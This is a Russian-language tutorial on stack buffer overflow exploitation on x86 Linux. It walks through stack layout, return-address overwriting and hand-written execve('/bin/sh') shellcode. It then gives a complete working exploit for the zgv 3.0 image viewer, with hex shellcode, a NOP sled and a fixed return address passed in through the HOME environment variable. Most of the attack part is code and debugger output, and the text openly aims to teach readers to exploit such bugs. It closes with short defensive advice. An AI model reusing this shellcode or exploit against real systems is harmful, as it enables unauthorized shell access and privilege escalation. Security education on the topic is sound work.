Переполнения буфера из пользовательского ввода стало одной из самых серьезных проблем в интернете и в современных компьютерных системах вообще. Все потому, что такие ошибки легко допускается на уровне программирования, и будучи незаметными для пользователей, которые не понимают или не могут получить исходный код, зачастую являются легко взламываемыми. Эта статья позволит среднему программисту на С научиться использовать эти уязвимости.
Михаил Разумов, по материалам SecuriTeam
Переполнения буфера из пользовательского ввода стало одной из самых серьезных проблем в интернете и в современных компьютерных системах вообще. Все потому, что такие ошибки легко допускается на уровне программирования, и будучи незаметными для пользователей, которые не понимают или не могут получить исходный код, зачастую являются легко взламываемыми. Эта статья позволит среднему программисту на С научиться использовать эти уязвимости.
Замечание: Распределение памяти процессов, описанное здесь, соответствует большинству компьютеров, однако все же зависит от архитектуры процессора. Эта статья применима для x86 и грубо подходит для Sparc.
Принцип эксплоита переполнения буфера состоит в записи произвольного ввода в области памяти, которые не должны изменяться, и вынуждение процесса выполнить этот код. Чтобы увидеть, как и где имеет место переполнение, давайте рассмотрим, как организована память. Страница – это часть памяти, которая использует собственную относительную адресацию, к которой процесс может получать доступ без необходимости знать, где она физически находится в RAM. Память процессов состоит из трех разделов:
Функция – это часть кода в сегменте кода, которая вызывается, выполняет задачу и затем возвращается к предыдущему процессу исполнения. Иногда в функцию могут передаваться аргументы. На ассемблере это обычно выглядит так (простой пример):
memory address code 0x8054321 <main+x> pushl $0x0 0x8054322 call $0x80543a0 <function> 0x8054327 leave 0x8054328 ret ... 0x80543a0 <function> popl %eax 0x80543a1 addl $0x1337,%eax 0x80543a4 leave 0x80543a5 ret
Что здесь происходит? Главная функция вызывает function(0). Передаваемая переменная – 0, главная функция помещает (pushl) ее в стек, и затем вызывает функцию. Функция получает переменную из стека, используя popl. После исполнения, она возвращается к адресу 0x8054327. Как правило, главная функция помещает регистр EBP (frame pointer) в стек, который функция сохраняет, и восстанавливает после окончания. Эта концепция позволяет функции использовать собственное смещение для адресации, что, впрочем, малоинтересно для нас. Нам необходимо лишь знать, как выглядит стек. На самом верху мы имеем внутренние буферы и переменные функции. Затем идет сохраненный EBP регистр (32 бита = 4 байта), а затем адрес возврата, который также составляет 4 байта. Продвигаясь дальше вниз, мы дойдем до аргументов, переданных функции, которые нам неинтересны.
В данном случае, адрес возврата 0x8054327. Он автоматически сохраняется в стеке при вызове функции. При наличии уязвимости переполнения в коде, этот адрес возврата может быть перезаписан так, чтобы указывать на любую область памяти.
Предположим, что мы делаем эксплоит для функции типа:
void lame (void) { char small[30]; gets (small); printf("%s\n", small); } main() { lame (); return 0; } Компилируем и дизассемблируем: # cc -ggdb blah.c -o blah /tmp/cca017401.o: In function `lame': /root/blah.c:1: the `gets' function is dangerous and should not be used. # gdb blah /* краткое пояснение: gdb, GNU debugger использовался здесь для чтения и дизассемблирования бинарного файла (перевода в ассемблерный код) */ (gdb) disas main Dump of assembler code for function main: 0x80484c8 <main>: pushl %ebp 0x80484c9 <main+1>: movl %esp,%ebp 0x80484cb <main+3>: call 0x80484a0 <lame> 0x80484d0 <main+8>: leave 0x80484d1 <main+9>: ret (gdb) disas lame Dump of assembler code for function lame: /* сохранение EBP в стек перед адресом возврата */ 0x80484a0 <lame>: pushl %ebp 0x80484a1 <lame+1>: movl %esp,%ebp /* увеличение стека на 0x20 или 32. Наш буфер 30-символьный, но память выделяется кратно 4 байтам (т.к. процессор использует 32-битные слова) это эквивалент: char small[30]; */ 0x80484a3 <lame+3>: subl $0x20,%esp /* загрузка указателя на small[30] (место в стеке, расположенное по виртуальному адресу 0xffffffe0(%ebp)) стека, и вызов функции gets: gets(small); */ 0x80484a6 <lame+6>: leal 0xffffffe0(%ebp),%eax 0x80484a9 <lame+9>: pushl %eax 0x80484aa <lame+10>: call 0x80483ec <gets> 0x80484af <lame+15>: addl $0x4,%esp /* загрузка адреса small и адреса строки "%s\n" в стек и вызов функции: printf("%s\n", small); */ 0x80484b2 <lame+18>: leal 0xffffffe0(%ebp),%eax 0x80484b5 <lame+21>: pushl %eax 0x80484b6 <lame+22>: pushl $0x804852c 0x80484bb <lame+27>: call 0x80483dc <printf> 0x80484c0 <lame+32>: addl $0x8,%esp /* получение адреса возврата 0x80484d0 из стека и возврат к этому адресу. вы не увидите это здесь явно, потому что это выполняется CPU командой 'ret' */ 0x80484c3 <lame+35>: leave 0x80484c4 <lame+36>: ret End of assembler dump.
# ./blah xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- пользовательский ввод xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # ./blah xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- пользовательский ввод xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Segmentation fault (core dumped) # gdb blah core (gdb) info registers eax: 0x24 36 ecx: 0x804852f 134513967 edx: 0x1 1 ebx: 0x11a3c8 1156040 esp: 0xbffffdb8 -1073742408 ebp: 0x787878 7895160 ^^^^^^
EBP равен 0x787878, что означает, что мы записали в стек больше данных, чем входной буфер смог принять. 0x78 – это шестнадцатеричный код 'x'. Процесс имел буфер максимальным размером 32 байта. Мы записали в память больше данных, чем выделено под пользовательский ввод, тем самым перезаписав EBP и адрес возврата строкой 'xxxx', после чего процесс пытался продолжить исполнение по адресу 0x787878, что привело к ошибке segmentation fault.
Давайте попробуем вынудить программу вернуться к lame() вместо return. Нам необходимо изменить адрес возврата с 0x80484d0 на 0x80484cb. В памяти у нас есть: 32 байта буферного пространства | 4 байта EBP | 4 байта RET. Вот простая программа для помещения 4-байтного адреса возврата в 1-байтный символьный буфер:
main() { int i=0; char buf[44]; for (i=0;i<=40;i+=4) *(long *) &buf[i] = 0x80484cb; puts(buf); } # ret ËËËËËËËËËËË, # (ret;cat)|./blah test <- пользовательский ввод ËËËËËËËËËËË,test test <- пользовательский ввод test
Вот оно! Программа исполнила функцию два раза. Если возможно переполнение, адрес возврата из функции можно изменить, тем самым изменив процесс исполнения программы.
Мы можем поместить простые ассемблерные команды прямо в стек и изменить адрес возврата на адрес стека. Используя этот метод, мы сможем вставить код в уязвимый процесс и затем запустить его прямо в стеке. Так давайте создадим и вставим ассемблерный код для запуска командной оболочки. Обычный системный вызов execve() загружает и запускает любой исполняемый файл, прерывая исполнение текущего процесса. Использование:
int execve (const char *filename, char *const argv [], char *const envp[]); Давайте посмотрим детали этого вызова в glibc2: # gdb /lib/libc.so.6 (gdb) disas execve Dump of assembler code for function execve: 0x5da00 <execve>: pushl %ebx /* это реальный системный вызов. перед тем, как программа вызовет execve, она должна поместить в стек в обратном порядке аргументы: **envp, **argv, *filename */ /* адрес **envp помещается в регистр edx */ 0x5da01 <execve+1>: movl 0x10(%esp,1),%edx /* адрес **argv помещается в регистр ecx */ 0x5da05 <execve+5>: movl 0xc(%esp,1),%ecx /* адрес *filename помещается в регистр ebx */ 0x5da09 <execve+9>: movl 0x8(%esp,1),%ebx /* 0xb помещается в регистр eax; 0xb == execve во внутренней системной таблице вызовов */ 0x5da0d <execve+13>: movl $0xb,%eax /* управление передается ядру, для запуска инструкции execve */ 0x5da12 <execve+18>: int $0x80 0x5da14 <execve+20>: popl %ebx 0x5da15 <execve+21>: cmpl $0xfffff001,%eax 0x5da1a <execve+26>: jae 0x5da1d <__syscall_error> 0x5da1c <execve+28>: ret End of assembler dump.
Нам необходимо сделать так, чтобы можно было запускать командную оболочку без необходимости ссылаться на аргументы в памяти традиционным способом, давая их точный адрес в странице памяти, что может быть сделано только при компиляции.
Поскольку мы можем оценить размер кода запуска командной оболочки, мы можем использовать инструкцию jmp <bytes> и call, чтобы перейти на определенное количество байт назад или вперед в выполняемом коде. Зачем использовать call? Преимущество в том, что CALL автоматически сохраняет в стеке адрес возврата, следующий после инструкции CALL. Помещая переменную сразу за call, мы косвенно помещаем ее адрес в стек, и нет необходимости его знать.
0 jmp <Z> (переход на Z байт вперед) 2 popl %esi ...здесь размещаются функции... Z call <-Z+2> (переход на Z-2 байт назад, к POPL) Z+5 .string (первая переменная)
(Замечание: Если вы собираетесь написать код более сложный, чем порождающий командную оболочку, вы можете поместить больше, чем одну .string в конце кода. Вы знаете размер этих строк и поэтому сможете рассчитать их относительные адреса, зная расположение первой строки.)
global code_start /* нам понадобится это позже, пока не обращайте внимания */ global code_end .data code_start: jmp 0x17 popl %esi movl %esi,0x8(%esi) /* задается адрес **argv после кода запуска командной оболочки, 0x8 байт после него отводится на строку “/bin/sh” */ xorl %eax,%eax /* помещается 0 в %eax */ movb %eax,0x7(%esi) /* помещается завершающий 0 после строки “/bin/sh” */ movl %eax,0xc(%esi) /* еще один 0 для получения размера длинного слова */ my_execve: movb $0xb,%al /* execve( */ movl %esi,%ebx /* "/bin/sh", */ leal 0x8(%esi),%ecx /* & of "/bin/sh", */ xorl %edx,%edx /* NULL */ int $0x80 /* ); */ call -0x1c .string "/bin/shX" /* X заменяется на символ закрытия строки командой movb %eax,0x7(%esi) */ code_end:
(Относительные смещения 0x17 и -0x1c могут быть получены путем записи 0x0, компиляции, дизассемблирования и просмотра размера кода запуска командной оболочки.)
Это уже вполне рабочий код запуска командной оболочки. Неплохо, однако, было бы дизассемблировать системный вызов exit() и вставить его перед ‘call’. В искусство написания кода запуска командной оболочки входит также избежание бинарных нулей в коде (указывают на конец ввода/буфера) и его изменение, например таким образом, чтобы двоичный код не содержал управляющих символов, которые могут быть отфильтрованы некоторыми уязвимыми программами.
Многое из этого делается с помощью самоизменяющегося кода, как мы сделали в инструкции movb %eax,0x7(%esi). Мы заменили X на \0, изначально не имея \0 в коде.
Давайте протестируем этот код. Сохраним вышеуказанный код как code.S (удалив комментарии) и следующий код как code.c:
extern void code_start(); extern void code_end(); #include <stdio.h> main() { ((void (*)(void)) code_start)(); } # cc -o code code.S code.c # ./code bash#
Теперь вы можете сконвертировать код запуска командной оболочки в шестнадцатеричный строковый буфер. Лучший способ это сделать – распечатать его:
#include <stdio.h> extern void code_start(); extern void code_end(); main() { fprintf(stderr,"%s",code_start); }
Теперь можно пропустить через aconv -h или bin2c.pl, которые можно найти на http://www.dec.net/~dhg или http://members.tripod.com/mixtersecurity.
Давайте посмотрим, как изменить адрес возврата, чтобы он указывал на код запуска командной оболочки, находящийся в стеке, и напишем пример эксплоита. Для примера возьмем zgv (программа просмотра графических файлов), поскольку она легко уязвима.
# export HOME=`perl -e 'printf "a" x 2000'` # zgv Segmentation fault (core dumped) # gdb /usr/bin/zgv core #0 0x61616161 in ?? () (gdb) info register esp esp: 0xbffff574 -1073744524
Мы видим вершину стека в момент аварийного завершения программы. Можно предположить, что мы можем использовать это как адрес возврата к нашему коду запуска командной оболочки. Теперь мы добавим несколько инструкций NOP (no operation) перед нашим буфером, чтобы не было необходимости абсолютно точно определять начальный адрес нашего кода в памяти.
Функция вернет управление в стек перед нашим кодом, пройдет все NOP до начальной команды JMP, перейдет к CALL, вернется назад к popl, и затем запустится наш код в стеке.
Помните, что стек устроен таким образом: наименьший адрес памяти соответствует вершине стека, на которую указывает ESP, там хранятся начальные переменные, например буфер zgv, в который передается переменная окружения HOME.
Далее мы имеем сохраненный EBP (4 байта) и адрес возврата предыдущей функции. Мы должны записать 8 или более байт после буфера, чтобы перезаписать адрес возврата новым адресом в стеке.
Размер буфера в zgv 1024 байт. Это можно узнать, просмотрев код, или найдя начальную команду subl $0x400,%esp (=1024) в уязвимой функции. Теперь мы совместим все это в эксплоите:
/* пример эксплоита переполнения буфера в zgv 3.0, работает к с прекомпилированными бинарниками redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> /* Это простейший код запуска командной оболочки в шестнадцатеричном виде */ static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
#define NOP 0x90 #define LEN 1032 /* размер буфера + EBP + RET */ #define RET 0xbffff574 int main() { char buffer[LEN]; long retaddr = RET; int i; fprintf(stderr,"using address 0x%lx\n",retaddr); /* заполняем весь буфер, EBP и RET адресом возврата */ for (i=0;i<LEN;i+=4) *(long *)&buffer[i] = retaddr; /* теперь заполняем стек NOP'ами, оставляя место под код запуска командной оболочки, адрес возврата и еще 100 байт на всякий случай */ for (i=0;i<(LEN-strlen(shellcode)-100);i++) *(buffer+i) = NOP; /* в конце NOP’ов, копируем код запуска командной оболочки execve() */ memcpy(buffer+i,shellcode,strlen(shellcode)); /* экспортируем переменную окружения, запускаем zgv */ setenv("HOME", buffer, 1); execlp("zgv","zgv",NULL); return 0; } /* EOF */
Мы получили строку типа:
[ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]
В то время как стек zgv выглядит таким образом:
адрес 0xbffff574:
[ МАЛЕНЬКИЙ БУФЕР ] [СОХРАНЕННЫЙ EBP] [ИСХОДНЫЙ RET]
Процедура выполнения zgv теперь такова:
main ... -> function() -> strcpy(smallbuffer,getenv("HOME"));
В этом месте zgv не проверяет границы, проводит запись за пределы маленького буфера (smallbuffer), после чего адрес возврата к main становится перезаписан на адрес возврата к стеку. function() производит leave/ret и EIP указывает на стек:
0xbffff574 nop 0xbffff575 nop 0xbffff576 nop 0xbffff577 jmp $0x24 1 0xbffff579 popl %esi 3 [...код запуска командной оболочки...] 0xbffff59b call -$0x1c 2 0xbffff59e .string "/bin/shX" Давайте проверим эксплоит: # cc -o zgx zgx.c # ./zgx using address 0xbffff574 bash#
Существует много программ, которые тяжело взломать, но тем не менее уязвимых. Однако существует много приемов, которые вы можете использовать, чтобы обойти фильтрование ввода и т.п. Кроме того, некоторые методики переполнения буфера не обязательно включают изменение адреса возврата, или наоборот только адреса возврата. Это так называемые переполнения указателя, в которых указатель на функцию может быть перезаписан за счет переполнения, меняя направление исполнения программы (примером является эксплоит RoTShB bind 4.9), или эксплоиты, в которых адрес возврата указывает на указатель переменной окружения, в которой находится код запуска командной оболочки, вместо помещения его в стек (это помогает при очень маленьких стеках и защите от исполнения кода в стеке, и может обмануть некоторые программы безопасности).
Другим важным пунктом для опытного создателя кодов запуска командной оболочки является радикальное изменение кода, который будет состоять только из печатаемых символов в верхнем регистре, а затем сам модифицирует себя для помещения функционального кода запуска командной оболочки в стек и его запуска, и т.д. Никогда код не должен содержать двоичных нулей, потому что он наверняка не будет работать.
Мы выяснили, что если существует уязвимость переполнения буфера, зависящая от пользователя, в 90% случаев она может быть взломана, хотя в некоторых ситуациях это может оказаться сложным и потребовать некоторого опыта. Зачем создавать эксплоиты? Чтобы устранять невежественность в индустрии программного обеспечения. Несмотря на сообщения об уязвимостях переполнения буфера в программном обеспечении, программное обеспечение не обновляется, либо большинство пользователей его не обновляет, поскольку уязвимость сложна для взлома и никто не верит, что она создает угрозу безопасности. А когда появляется эксплоит и создает реальную угрозу защите программы, тогда возникает срочная необходимость ее обновить.
Для программиста является сложной задачей писать защищенные программы, но к этому нужно относиться очень серьезно. Это в особенности относится к написанию серверов, программ по безопасности, и программ, которые запускаются от имени root, некоторых специальных эккаунтов или системы. Используйте проверку границ (функции strn*, sn*, вместо sprintf и т.п.), предпочитайте динамическое задание размера буфера в зависимости от пользовательского ввода, будьте осторожны с циклами for/while/ и т.п., которые накапливают данные в буфере, и обрабатывайте пользовательский ввод с большим вниманием – вот главные принципы, которые мы предлагаем.
Также в индустрии безопасности были предприняты значительные усилия для предотвращения проблем переполнения буфера с помощью методик типа неисполняемый стек, suid wrapper, защитные программы, которые проверяют адреса возврата, компиляторы с проверкой границ и т.д. Следует использовать эти техники везде, где это возможно, но не полагайтесь только на них. И не рассчитывайте быть полностью защищенным, если вы используете дистрибутив UNIX двухлетней давности без обновлений, но используя защиту от переполнения буфера или (что еще глупее) файрволл/IDS. Это не может обеспечить безопасность, если вы продолжаете использовать незащищенные программы, потому что все программы безопасности являются программами, и могут сами иметь уязвимости, или как минимум недостатки. Если вы осуществляете частые обновления и используете средства безопасности, вы все равно не можете быть уверены, но можете хотя бы надеяться.
Первое — находим постоянно, второе — ждем вас